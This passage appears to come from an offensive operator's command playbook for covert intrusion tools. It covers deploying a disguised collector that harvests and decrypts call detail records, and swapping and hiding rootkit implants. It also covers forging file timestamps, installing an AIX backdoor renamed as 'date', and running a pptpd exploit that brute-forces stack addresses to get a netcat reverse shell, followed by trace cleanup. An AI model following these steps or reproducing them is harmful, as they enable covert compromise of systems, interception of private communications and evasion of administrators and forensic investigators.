11121## remove the status.log file >>>ONLY<<< from the >>>BACKWARDS<<< directory
11122
11123rm -f IMPLANT_HIDDEN_DIRECTORY/erb/status.log
11124
11125-ls -R er*
11126
11127-ls -R IMPLANT_HIDDEN_DIRECTORY/er*
11128
11129
11130##
11131## edit ER configuration files
11132##
11133
11134## in a local window
11135
11136cd /current/down/er_PROJECTNAME
11137
11138## find ER configs
11139
11140ls -la er_conf*.txt
11141
11142## should usually not have to edit the forward config, er_conf_fwd*.txt
11143## edit the backwards config, er_conf_bwd*.txt
11144
11145vi er_conf_bwd.txt
11146
11147## probably have to change START_DAY and STOP_DAY
11148## START_DAY: YYYYMMDD # day backwards in time from which to start
11149## STOP_DAY: YYYYMMDD # day forwards from START_DAY: to stop
11150## make sure you've made date range changes, or any other changes,
11151## to the plaintext ER configuration files and save
11152
11153
11154##
11155## encrypt required ER files
11156##
11157
11158## encrypt the ER backwards configuration file
11159
11160cd /current/down/er_PROJECTNAME
11161
11162cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_bwd.txt -o /current/down/er_PROJECTNAME/er_conf_bwd.enc -k CRYPTKEY -b
11163
11164## encrypt the ER forwards configuration file
11165
11166cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_fwd.txt -o /current/down/er_PROJECTNAME/er_conf_fwd.enc -k CRYPTKEY -b
11167
11168file /current/down/er_PROJECTNAME/er_conf_*.enc
11169
11170
11171## --------------- ##
11172## BACKWARDS FILES ##
11173## --------------- ##
11174
11175##
11176## put up encrypted files
11177##
11178
11179## encrypted argfile(s)
11180
11181-put /current/down/argfiles/argfile1.enc IMPLANT_HIDDEN_DIRECTORY/erb/adm1
11182
11183## copy adm1 for each aux_* directory you see
11184## e.g. if you see aux_1 aux_2 aux_3 then:
11185## cp adm1 adm2
11186## cp adm1 adm3
11187
11188## encrypted ER configuration file
11189
11190-put /current/down/er_PROJECTNAME/er_conf_bwd.enc IMPLANT_HIDDEN_DIRECTORY/erb/ecb
11191
11192##
11193## start ENEMYRUN
11194## may not work w/ PATH=.
11195## CRYPTKEY must be the same as in the ER configuration file
11196##
11197
11198-cd IMPLANT_HIDDEN_DIRECTORY/erb
11199
11200L='-I ecb -k CRYPTKEY'; export L; ./nscd
11201
11202#ps -ef | grep ENEMYRUN_PROCESS_NAME
11203ps -ef | grep nscd
11204
11205## record ER process pid(s) in opnotes
11206## DDMonYY
11207## backward ENEMYRUN_PROCESS_NAME
11208## pid:
11209
11210ps -ef | grep ENEMYRUN_PID
11211
11212## the argfile(s) should no longer be in the erb directory after ER is running
11213## if the parser has started, these files should grow
11214## logs IMPLANT_HIDDEN_DIRECTORY/erb/aux_1/output/<prefix>Log.*
11215## hits IMPLANT_HIDDEN_DIRECTORY/erb/aux_1/output/<prefix>.*
11216
11217-ls -R erb
11218
11219-ls -R IMPLANT_HIDDEN_DIRECTORY/erb
11220
11221
11222## -------------- ##
11223## FORWARDS FILES ##
11224## -------------- ##
11225
11226##
11227## put up encrypted files
11228##
11229
11230## encrypted argfile(s)
11231
11232-put /current/down/argfiles/argfile1.enc IMPLANT_HIDDEN_DIRECTORY/erf/adm1
11233
11234 ## or
11235
11236-put /current/down/argfiles/argfile_forward.enc IMPLANT_HIDDEN_DIRECTORY/erf/adm1
11237
11238## copy adm1 for each aux_* directory you see
11239## e.g. if you see aux_1 aux_2 aux_3 then:
11240## cp adm1 adm2
11241## cp adm1 adm3
11242
11243## encrypted ER configuration file
11244
11245-put /current/down/er_PROJECTNAME/er_conf_fwd.enc IMPLANT_HIDDEN_DIRECTORY/erf/ecf
11246
11247##
11248## start ENEMYRUN
11249## may not work w/ PATH=.
11250## CRYPTKEY must be the same as in the ER configuration file
11251##
11252
11253-cd IMPLANT_HIDDEN_DIRECTORY/erf
11254
11255L='-I ecf -k CRYPTKEY'; export L; ./nscd
11256
11257#ps -ef | grep ENEMYRUN_PROCESS_NAME
11258ps -ef | grep nscd
11259
11260## record ER process pid(s) in opnotes
11261## DDMonYY
11262## forward ENEMYRUN_PROCESS_NAME
11263## pid: ER_PID
11264
11265ps -ef | grep ENEMYRUN_PID
11266
11267## the argfile(s) should no longer be in the erb directory after ER is running
11268## if the parser has started, these files should grow
11269## logs IMPLANT_HIDDEN_DIRECTORY/erf/aux_1/output/<prefix>Log.*
11270## hits IMPLANT_HIDDEN_DIRECTORY/erf/aux_1/output/<prefix>.*
11271
11272-ls -R erf
11273
11274-ls -R IMPLANT_HIDDEN_DIRECTORY/erf
11275
11276##
11277## once all required ER instances are running, you're done
11278##
11279
11280-cd /tmp
11281-burnBURN
11282
11283
11284##
11285## decrypt parsed CDRs locally
11286##
11287
11288## single aux* directory
11289
11290cd /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/erb
11291 ## and/or
11292cd /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/erf/aux_1/output/final
11293
11294for i in * ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i`.txt -k CRYPTKEY -d -c -b ; done
11295
11296## multiple aux* directories
11297
11298mkdir /current/down/coll
11299cp /current/down/HOSTNAME.IPIMPLANT_HIDDEN_DIRECTORY/er*/aux*/output/final/* /current/down/coll
11300cd /current/down/coll
11301
11302for i in * ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i`.txt -k CRYPTKEY -d -c -b ; done
11303
11304
11305##
11306## copy decrypted data to media / remove ER tar from /current/down
11307##
11308
11309ls -la *.txt
11310mz
11311cp *.txt /mnt/zip*/PROJECTNAME
11312ls -la /mnt/zip*/PROJECTNAME
11313uz
11314rm /current/down/er_*.tar
11315
11316
11317############
11318## DEPLOY ##
11319############
11320
11321##
11322## edit ER configuration files
11323##
11324
11325## in a local window
11326
11327cd /current/down/er_PROJECTNAME
11328
11329## find ER configs
11330
11331ls -la er_conf*.txt
11332
11333## should not have to edit the forward config, er_conf_fwd*.txt
11334## edit the backwards config, er_conf_bwd*.txt
11335
11336vi er_conf_bwd.txt
11337
11338## make sure you've made date range changes, or any other changes,
11339## to the plaintext ER configuration files
11340
11341
11342##
11343## encrypt required ER files
11344##
11345
11346## encrypt the ER backwards configuration file
11347
11348cd /current/down/er_PROJECTNAME
11349
11350cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_bwd.txt -o /current/down/er_PROJECTNAME/er_conf_bwd.enc -k CRYPTKEY -b
11351
11352## encrypt the ER forwards configuration file
11353
11354cryptTool.v1.0.Linux2.4.18-14.targetdl -i /current/down/er_PROJECTNAME/er_conf_fwd.txt -o /current/down/er_PROJECTNAME/er_conf_fwd.enc -k CRYPTKEY -b
11355
11356file /current/down/er_PROJECTNAME/er_conf_*.enc
11357
11358## encrypt CURSEHAPPY definition file if using CURSEHAPPY
11359
11360for i in /current/up/cursedefs/*.def ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o /current/up/cursedefs/`basename $i .def`.enc -k CRYPTKEY -b ; done
11361
11362ls -la
11363file /current/up/cursedefs/*.enc
11364
11365##
11366## put up directories and tools only if deploying ENEMYRUN
11367## this means only put up these files/tools if they are not on the target yet
11368## if you have the least doubt about what you're doing, find someone who knows
11369##
11370
11371## --------------- ##
11372## BACKWARDS FILES ##
11373## --------------- ##
11374
11375-put /current/down/er_PROJECTNAME/erb_dirs.tar IMPLANT_HIDDEN_DIRECTORY/erb.tar
11376tar xvf erb.tar
11377
11378-cd IMPLANT_HIDDEN_DIRECTORY/erb
11379
11380-ls -R
11381
11382## put up applicable parser(s)
11383-put /current/up/skimcountry.v1.2.SunOS5.9.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond
11384-put /current/up/cursehappy4 IMPLANT_HIDDEN_DIRECTORY/erb/crond
11385-put /current/up/orleansstride.v2.3.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond
11386-put /current/up/cursemagic.v1.0.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond
11387-put /current/up/cursegismo.v1.1.0.4.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/crond
11388
11389## encrypted CURSEHAPPY definition file
11390
11391-put /current/up/cursedefs/PROJECTNAME.enc IMPLANT_HIDDEN_DIRECTORY/erb/cd
11392
11393## put up enemyrun
11394
11395-put /current/up/enemyrun.v2.3.1.3.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erb/nscd
11396
11397## if everything looks good remove tar
11398
11399-rm IMPLANT_HIDDEN_DIRECTORY/erb.tar
11400
11401
11402## -------------- ##
11403## FORWARDS FILES ##
11404## -------------- ##
11405
11406-put /current/down/er_PROJECTNAME/erf_dirs.tar IMPLANT_HIDDEN_DIRECTORY/erf.tar
11407tar xvf erf.tar
11408
11409-cd IMPLANT_HIDDEN_DIRECTORY/erf
11410
11411-ls -R
11412
11413## put up applicable parser(s)
11414-put /current/up/skimcountry.v1.2.SunOS5.9.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond
11415-put /current/up/cursehappy4 IMPLANT_HIDDEN_DIRECTORY/erf/crond
11416-put /current/up/orleansstride.v2.3.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond
11417-put /current/up/cursemagic.v1.0.0.0.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond
11418-put /current/up/cursegismo.v1.1.0.4.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/crond
11419
11420## encrypted CURSEHAPPY definition file
11421
11422-put /current/up/cursedefs/PROJECTNAME.enc IMPLANT_HIDDEN_DIRECTORY/erf/cd
11423
11424## put up enemyrun
11425
11426-put /current/up/enemyrun.v2.3.1.3.SunOS5.8.targetdl IMPLANT_HIDDEN_DIRECTORY/erf/nscd
11427
11428## if everything looks good remove tar
11429
11430-rm IMPLANT_HIDDEN_DIRECTORY/erf.tar
11431
11432##
11433## to continue the setup process go to the COLLECT section item titled:
11434## "edit ER configuration files"
11435##
11436
11437
11438###
11439### END File user.tool.enemyrun.COMMON
11440### (see also ../etc/user.tool.enemyrun.COMMON)
11441
11442###
11443### BEGIN File user.tool.linux_remove_in_install_ss.COMMON (see also ../etc/user.tool.linux_remove_in_install_ss.COMMON)
11444###
11445
11446### Upgrading a Linux Incision to a Stoicsurgeon
11447
11448### Step 1: Trigger Incision or -elevate
11449
11450### Step 2: Save timestamps of affected files/directories
11451stat -t /dev /sbin /sbin/init /dev/ttyi* >L:/current/down/beforetimes
11452
11453### Step 3: Upload dittlelight
11454-put /current/up/hidelite.linux h
11455
11456### Step 4: Need a nopen callback window to use dittlelight (will not
11457### work on any pids with parents that aren't 1, and callback
11458### windows do that)
11459-nrtun PORT
11460-call REDIR_IP:PORT
11461
11462### Step 5: In the callback window, get your PID (and make sure the
11463### PPID is 1
11464-pid
11465
11466### Step 6: Unhide your callback window
11467./h -u -p CALLBACK_PID
11468
11469### Step 7: Make sure you are unhidden by comparing process listings
11470### and directory listings, and there should be differences
11471ps -ef | grep sendmail
11472-lt /dev/ttyi*
11473
11474### Step 8: In unhidden window, trigger Incision self-destruct
11475touch /dev/ttyia3
11476
11477### Step 9: Repeat step 7, except now instead of being different,
11478### the two windows should now be the same because Incision
11479### is gone, so everything is unhidden
11480ps -ef | grep sendmail
11481-lt /dev/ttyi*
11482
11483### Step 10: Remove file we touched/"created"
11484-rm /dev/ttyia3
11485
11486### Step 11: At this point, follow the "user.tool.stoicsurgeon"
11487### script in /current/etc to install Stoicsurgeon
11488
11489### Step 12: Once Stoicsurgeon is installed, restore timestamps
11490### for the files/dirs affected by the Incision uninstall
11491### These are saved in "/current/down/beforetimes" from Step 2
11492### NOTE: If "-ctrl" does not work, upload and run the standalone
11493### "Ctrl" program, computing the SEED variable as described
11494### in the "user.tool.stoicsurgeon" script if needed, or
11495### you can trigger and not need the SEED
11496-ctrl -s /sbin/init ATIME 0 MTIME 0 CTIME 0
11497-ctrl -s /sbin ATIME 0 MTIME 0 CTIME 0
11498-ctrl -s /dev ATIME 0 MTIME 0 CTIME 0
11499
11500### Step 13: Confirm timestamps are restored
11501### This is a bit tricky to see that everything is right, so
11502### confirm that:
11503### 1. everything for /sbin should match (i.e. no diff line)
11504### 2. there should be no /dev/ttyia* files in aftertimes
11505### 3. /dev may not match exactly if there were changes, but
11506### /dev can change a lot so not a huge deal
11507### 4. the timestamps for /sbin/init should be the same in
11508### beforetimes and aftertimes
11509### 5. the inode field (8th field in stat output) from
11510### /dev/ttyia1 in beforetimes should match inode field
11511### from /sbin/init in aftertimes
11512stat -t /dev /sbin /sbin/init /dev/ttyi* >L:/current/down/aftertimes
11513-lsh diff /current/down/beforetimes /current/down/aftertimes
11514
11515### All done!$###$
11516
11517
11518###
11519### END File user.tool.linux_remove_in_install_ss.COMMON
11520### (see also ../etc/user.tool.linux_remove_in_install_ss.COMMON)
11521
11522###
11523### BEGIN File user.tool.slyheretic.COMMON (see also ../etc/user.tool.slyheretic.COMMON)
11524###
11525
11526#########################################################
11527# SLYHERETIC v1.0.5.0
11528#########################################################
11529### SLYHERETIC is a light-weight implant for AIX 5.1 and AIX 5.2 Uses Hide-in-Plain-Sight techniques to provide stealth.
11530### SlyHeretic_Persistent: This installer injects a backdoor into a system process and persists across system reboots.
11531### SlyHeretic_OneShot: This installer injects a backdoor into a system process and does not persist across system reboots.
11532### All SLYHERETIC binaries delete themselves upon execution.
11533
11534**IMPORTANT: SINCE SLYHERETIC Uses Hide-in-Plain-Sight techniques to provide stealth ensure that you get off of box if known administrators are on the box.**
11535**IMPORTANT: Do not install SLYHERETIC on systems where TripWire is installed. ***********************************
11536
11537
11538######################################################### Persistent Install######################################################################
11539## To install the Persistent version of SLYHERETIC perform the following steps.
11540
11541## Upload the SlyHeretic_Persistent binary to the target with the name 'date' on a filesystem that's not mounted noexec.
11542-put /current/up/SlyHeretic_Persistent date
11543
11544### Execute the installer with the following command:
11545PATH=. date
11546## Check the installer error code by looking at the 'date' string reported. The installer will report a 'date' string with the
11547## seconds field as the error code. If the seconds field reports '00', the installation was successful.
11548
11549If you get an error code in the seconds field start the troubleshooting. The most common error that you might receive is the '09' error.
11550This error means that no viable injection process is available at that particuliar time installation time. SLYHERETIC checks the process state prior to
11551injecting so it may determine that no process are good candiates for injection. Wait a minute and try the install again. If that does not work contact
11552tool champion or developer.
11553
11554########################################################## OneShot Install##########################################################################
11555## Upload the SlyHeretic_OneShot binary to the target with the name 'date' on a filesystem that's not mounted noexec.
11556
11557-put /current/up/SlyHeretic_OneShot date
11558
11559### Execute the installer with the following command:
11560PATH=. date
11561## Check the installer error code by looking at the 'date' string reported. The installer will report a 'date' string with the
11562## seconds field as the error code. If the seconds field reports '00', the installation was successful.
11563
11564If you get an error code in the seconds field start the troubleshooting. The most common error that you might receive is the '09' error.
11565This error means that no viable injection process is available at that particuliar time installation time. SLYHERETIC checks the process state prior to
11566injecting so it may determine that no process are good candiates for injection. Wait a minute and try the install again. If that does not work contact
11567tool champion or developer.
11568
11569
11570#############################################################Uninstalling SLYHERETIC######################################################################
11571## Upload the SlyHeretic_Uninstaller binary to the target with the name 'date' on a filesystem that's not mounted noexec.
11572
11573-put /current/up/SlyHeretic_Uninstaller date
11574
11575### Execute the installer with the following command:
11576PATH=. date
11577
11578The Uninstaller will not provide any out stating that the uninstall was successful.
11579To verify uninstall you can attempt to trigger via tipoff or -irtun.
11580
11581
11582#########################################################SLYHERETIC REINSTALL############################################################################
11583SLYHERETIC can be reinstalled on a system but only after an Uninstall has taken place. A reinstall is simply the following steps:
11584Uninstall SLYHERETIC
11585Install SLYHERETIC
11586
11587
11588######################################################### TRIGGERING SLYHERETIC #########################################################################
11589## Trigger SLYHERETIC and upload NOPEN with redirection.
11590
11591-irtun TARGET_IP RANDOM_PORT -ueY5 ********SLYHERETIC uses DewDrop 3.X trigger**********************************
11592
11593
11594
11595
11596###
11597### END File user.tool.slyheretic.COMMON
11598### (see also ../etc/user.tool.slyheretic.COMMON)
11599
11600###
11601### BEGIN File user.tool.entrymanor.COMMON (see also ../etc/user.tool.entrymanor.COMMON)
11602###
11603
11604
11605###################################################
11606### ENTRYMANOR entrymanor binary: xp_pptpd
11607###################################################
116082008-01-15 08:15:21 EST
11609
11610Usage: ./xp_pptpd -i <pptp_server> -p <pptp_port> -l <localip> -r <localport>
11611
11612-i target
11613-p port <default: 1723>
11614-l local IP
11615-r local port
11616-v verify server
11617-t timeout in seconds <default: 1 sec>
11618-s stack location <default starts at 0xbfffff00 and ends at 0xbfff0000>
11619-h help
11620-d debug
11621
11622Check:
11623./xp_pptpd -i 127.0.0.1 -p 1723 -v
11624
11625Then:
11626nc -vv -l -p 5492
11627./xp_pptpd -i 127.0.0.1 -p 1723 -l 555.1.2.22 -r 5492
11628
11629
11630
11631
116320. will fail on pptpd versions greater than 1.1.4-b3 and 1.1.3-20030409.
11633
11634
11635
116361. Determine if the configuration of the target is exploitable by using the -v option.
11637./xp_pptpd -i 127.0.0.1 -p 1723 -v
11638
11639
11640
116412. (In Window 1, type the following command)
11642
11643# nc -vv -l -p 5492
11644listening on [any] 5492 ...
11645(after several seconds or minutes) ...
11646
11647555.1.2.171: inverse host lookup failed: Unknown host
11648connect to [555.1.2.22] from (UNKNOWN) [555.1.2.171] 1047
11649
11650(In Window 2, type the following command (use shell if running on linux pitch))
11651
11652# ./xp_pptpd -i 555.1.2.171 -p 1723 -l 555.1.2.22 -r 5492
11653Bruteforcing against 555.1.2.171
11654interrupt when you get a shell to 555.1.2.22 on port 5492...
11655
11656* connecting... [ret=0xbfffff00]..sending done
11657* connecting... [ret=0xbffffece]..sending done
11658* connecting... [ret=0xbffffe9c]..sending done
11659* connecting... [ret=0xbffffe6a]..sending done
11660* connecting... [ret=0xbffffe38]..sending done
11661* connecting... [ret=0xbffffe06]..sending done
11662...
11663* connecting... [ret=0xbffff82a]..sending done
11664* connecting... [ret=0xbffff7f8]..sending done
11665* connecting... [ret=0xbffff7c6]..sending done
11666
11667(Hit <ctrl> c when you get a connection back in netcat.)
11668
11669
11670###
11671### END File user.tool.entrymanor.COMMON
11672### (see also ../etc/user.tool.entrymanor.COMMON)
11673
11674
11675
11676#### BAIL
11677
11678-cd /tmp/socket-root
11679-cd ..
11680-ls
11681rm -rf /tmp/socket-root
11682-ls
11683
11684#### AT JOB (CAREFUL! These can log.)
11685
11686at -l
11687at -r ATJOB
11688at -l
11689
11690-burn
11691
11692#### PITCHIMPAIR-LINUX
11693#### some.target.ip
11694#### 1.2.3.4
11695#### /tmp/socket-root